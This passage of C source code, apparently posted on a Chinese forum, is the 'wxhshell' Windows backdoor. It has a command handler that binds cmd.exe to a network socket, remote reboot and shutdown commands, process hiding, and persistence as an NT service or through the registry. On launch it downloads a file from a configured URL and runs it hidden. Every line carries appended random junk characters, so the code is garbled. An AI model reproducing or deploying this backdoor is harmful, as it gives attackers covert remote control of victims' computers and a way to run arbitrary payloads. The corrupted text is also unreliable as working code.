      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); O[U`(A:  
    break; @.k^ 8hc  
  } M'R ] ''  
  // 安装 F~rl24F  
  case 'i': { l{^s4  
    if(Install()) L{IMZ+IB2|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6l4=  
    else YGQ/zB^Pj  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); PY '^:0  
    break; <uFj5.  
    } R%}<z*~NE@  
  // 卸载 n ei0LAD  
  case 'r': { g&w~eWpk  
    if(Uninstall()) G~&8/ s  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); YhRy C*b  
    else [ t8]'RI%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J{a9pr6  
    break; =c,7uB  
    } D{7^y>8_Y-  
  // 显示 wxhshell 所在路径 *wJz0ex7R/  
  case 'p': { _(:$ :*@  
    char svExeFile[MAX_PATH]; vc3r [mT  
    strcpy(svExeFile,"\n\r"); "R)n1,0  
      strcat(svExeFile,ExeFile); =#Jx~d[C  
        send(wsh,svExeFile,strlen(svExeFile),0); 1]0;2THx  
    break; 5Zhl@v,L%  
    } KCZ<#ca^  
  // 重启 zXlerQWUv  
  case 'b': { q4!\^HwQ  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); vY.VFEP/  
    if(Boot(REBOOT)) dJrUcZBr  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); CflyK@  
    else { ^uw]/H3?L  
    closesocket(wsh); bnvY2-O6  
    ExitThread(0); *(vh|  
    } jp4-w(  
    break; 54WX#/<Yik  
    } ,S(Z\[x0  
  // 关机 Hq>hnCT  
  case 'd': { c]U+6JH  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Jh%SenP_oP  
    if(Boot(SHUTDOWN)) 9o?\*{'KT  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); pQ^V<6z}  
    else { ct,;V/Dx  
    closesocket(wsh); F}[!OYyg  
    ExitThread(0); i-wWbZ-  
    } x _-V{ k  
    break; )@Y< <9'2  
    } \pI {b9  
  // 获取shell nW\W<[O9  
  case 's': { "|&3z/AUh  
    CmdShell(wsh); Hiwij,1  
    closesocket(wsh); oz]3 Tx  
    ExitThread(0); v/~&n  
    break; 8[AU`F8W  
  } "G*$#  
  // 退出 S"^'ksL\  
  case 'x': { jd5kkX8=  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); sieC7raO  
    CloseIt(wsh); E&t8nlTx  
    break; :,$"Gk  
    } G9j f]Ye;  
  // 离开 @}PX:*c  
  case 'q': { eAP 8!  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); z"QtP[_m  
    closesocket(wsh); PC255  
    WSACleanup(); c,)]!{c  
    exit(1); s7:_!Nd@8  
    break; y>h9:q|  
        } p NQ7uy  
  } |Go$z3bx  
  } aTH$+f1?Q  
[%6)  
  // 提示信息 pH3\X cn  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); w03Ur4>T  
} x)$0Nr62D  
  } t3^`:T\  
q&6|uV])H  
  return; R@Gll60  
} \C>vj+!cJ  
b-@9Xjv  
// shell模块句柄 Lq.2vfA>  
int CmdShell(SOCKET sock) 8sI$  
{ XMP4YWuVc  
STARTUPINFO si; #^aa&*<D_  
ZeroMemory(&si,sizeof(si)); sc# EL~  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; !z2xm3s{]p  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; .tHc*Eh  
PROCESS_INFORMATION ProcessInfo; 7cB{Iq0+  
char cmdline[]="cmd"; GCw4sb4~w  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 0SIUp/.  
  return 0; {<}Hut:a  
} \WdSj  
c`S+>:  
// 自身启动模式 v,~f G>Y}  
int StartFromService(void) +`mI\+y,  
{ <rui\/4NJ  
typedef struct :w|=o9J  
{ G^VOA4  
  DWORD ExitStatus; bF,.6iKI  
  DWORD PebBaseAddress; 't*]6^  
  DWORD AffinityMask; ?-9uf\2_  
  DWORD BasePriority; ku}`PS0UGd  
  ULONG UniqueProcessId; o >yXEg  
  ULONG InheritedFromUniqueProcessId; MwQt/Qv=  
}   PROCESS_BASIC_INFORMATION; fiU#\%uJg  
# SJJ@SM  
PROCNTQSIP NtQueryInformationProcess; _"t>72 `  
S+t2k&pm  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ,-(D (J;}1  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Ayn$,  
NZ!I >  
  HANDLE             hProcess; 1#+|RL4o  
  PROCESS_BASIC_INFORMATION pbi; f4d-eXGwx`  
eMV8`&c'  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); "j8=%J{  
  if(NULL == hInst ) return 0; l1L8a I,8  
C v*K.T  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Y8lZ]IB  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); SH8zkAA7u}  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); B#5[PX  
FK-q-PKO#.  
  if (!NtQueryInformationProcess) return 0; suLC7x`Z  
i tk/1  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ?0JNaf  
  if(!hProcess) return 0; 8uW%jG3/  
W*(- * \1[  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 9OY ao  
SwO$UqYU=  
  CloseHandle(hProcess); CS-jDok  
Ar?ZUASJ  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); _T8S4s8q  
if(hProcess==NULL) return 0; MI:%Eq  
d`5AQfL&  
HMODULE hMod; ~MYE8xrId  
char procName[255]; 9~a5R]x2  
unsigned long cbNeeded; P-8QXDdr  
LH`2Y,E  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); nf&5oE^  
OpIeo+^X*  
  CloseHandle(hProcess); w2('75$J  
UH\{:@GjNO  
if(strstr(procName,"services")) return 1; // 以服务启动 VUHf-bKl  
B J I N  
  return 0; // 注册表启动 7#9%,6Yi  
} $T7 qd  
Nvh& =%{g  
// 主模块 >w.%KVBJ  
int StartWxhshell(LPSTR lpCmdLine) Z6Kp-z(l3  
{ >*!^pbZfX  
  SOCKET wsl; mU]^PC2[  
BOOL val=TRUE; !su773vo  
  int port=0; V3a6QcG  
  struct sockaddr_in door; Bx$?*y&f!v  
UM]3MS:[  
  if(wscfg.ws_autoins) Install(); TGPZUyi3!=  
ocUBSK|K)  
port=atoi(lpCmdLine); D~M R)z_p~  
T:|p[Xbo  
if(port<=0) port=wscfg.ws_port; KQw>6)  
S0r+Y0J]<  
  WSADATA data; g:G5'pZf  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; +bJ~S:[  
#,XZ@u+  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   aX |(%1r  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); (FgX9SV]p9  
  door.sin_family = AF_INET; MpJ<.|h  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); q 6>}  
  door.sin_port = htons(port); }?c%L8\  
XAtRA1.  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { =9 ^}>u  
closesocket(wsl); QF*cdc<  
return 1; Zt=P 0  
} y+{)4ptg$<  
)ZrB-(u~k  
  if(listen(wsl,2) == INVALID_SOCKET) { p T z]8[^  
closesocket(wsl); fy|I3  
return 1; 8$ #z>  
} m!P<# |V  
  Wxhshell(wsl); @'?gan#(  
  WSACleanup(); a69e^;,>q  
se=^K#o  
return 0; :h3n[%  
dZb;`DjTH  
} 5dD8s-;^T  
/<(-lbq,  
// 以NT服务方式启动 KHJ wCv  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) h/8p2Mrqi  
{ VhAJ1[k4!  
DWORD   status = 0; pQC|_T#u  
  DWORD   specificError = 0xfffffff; s| Q1;%T j  
*n[B Bz  
  serviceStatus.dwServiceType     = SERVICE_WIN32; c813NHW  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; <X1 lq9 lW  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; _p'@.P  
  serviceStatus.dwWin32ExitCode     = 0; -"H0Qafm  
  serviceStatus.dwServiceSpecificExitCode = 0; 19!;0fe=  
  serviceStatus.dwCheckPoint       = 0; X(3| (1;sV  
  serviceStatus.dwWaitHint       = 0; Y> }\'$\b  
zn_#}}e;G  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 7-~)/7L  
  if (hServiceStatusHandle==0) return; ~%f$}{  
k#8`996P  
status = GetLastError(); DQ[7p(  
  if (status!=NO_ERROR) d&f!\n_~  
{ 3?L[ohKH?:  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; -!li,&,A1  
    serviceStatus.dwCheckPoint       = 0; >+Iph2]  
    serviceStatus.dwWaitHint       = 0; nLv~)IQ}:  
    serviceStatus.dwWin32ExitCode     = status; Fpeokr"i  
    serviceStatus.dwServiceSpecificExitCode = specificError; de.f?y  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); n4}e!  
    return; twbxi{8e.  
  } 8ZM#.yB B  
*rHz/& ,  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ,&o^}TFkg  
  serviceStatus.dwCheckPoint       = 0; NuUiW*|`7  
  serviceStatus.dwWaitHint       = 0; z 1^fG)  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 3G2iRr.o  
} Oe :S1f  
!"Q%I#8uh  
// 处理NT服务事件,比如:启动、停止 %.l={B,i  
VOID WINAPI NTServiceHandler(DWORD fdwControl) UX<-jY#'V  
{ NJ-Ji> w  
switch(fdwControl) J2! Q09 }5  
{ 9&`";dg  
case SERVICE_CONTROL_STOP: >7~*j4g  
  serviceStatus.dwWin32ExitCode = 0; 4 m"0R\  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; a l6y=;\jZ  
  serviceStatus.dwCheckPoint   = 0; [C<K~  
  serviceStatus.dwWaitHint     = 0; M*Ej*#  
  { "+wkruC  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); S?C.:  
  } iF837ng5  
  return; op9vz[o#4  
case SERVICE_CONTROL_PAUSE: OJJ [Er1  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; H{S+^'5Y.  
  break; kS9;Tjcx  
case SERVICE_CONTROL_CONTINUE: Fu5Y<*x  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; T]zD+/=  
  break; Y Q.Xl_  
case SERVICE_CONTROL_INTERROGATE: uozq^sy  
  break; 7DoU7I\u  
}; llWY7u"  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); CYwV]lq :s  
} B, H9EX  
#=33TvprR2  
// 标准应用程序主函数 O"\_%=X9  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) bGK*1FlH  
{ k<+Sj h$  
d ePk}Sn  
// 获取操作系统版本 U=69q]  
OsIsNt=GetOsVer(); B7|%N=S%/  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 4Y2I'~'  
^H1m8=  
  // 从命令行安装 -o`K/f}d  
  if(strpbrk(lpCmdLine,"iI")) Install(); QJrXn6`  
b7~Jl+m  
  // 下载执行文件 Iz. h  
if(wscfg.ws_downexe) { [)GRP  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) -$0}rfX  
  WinExec(wscfg.ws_filenam,SW_HIDE); ?~t5>PEonv  
} !k*B-@F  
_5~|z$GW  
if(!OsIsNt) { _X;,,VEV!  
// 如果时win9x,隐藏进程并且设置为注册表启动 ZeU){CB  
HideProc(); 5p S$rf  
StartWxhshell(lpCmdLine); pUF JQ*  
} 8sc2r  
else H@$K /  
  if(StartFromService()) Q#Zazvk  
  // 以服务方式启动 8#Z)qQWi_t  
  StartServiceCtrlDispatcher(DispatchTable); @SiV3k  
else 0a8\{(w  
  // 普通方式启动 Dr V[1Z  
  StartWxhshell(lpCmdLine); S#B%[3@  
x$n.\`f0  
return 0; izaqEz  
}
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只看该作者 1 发表于: 2006-10-10
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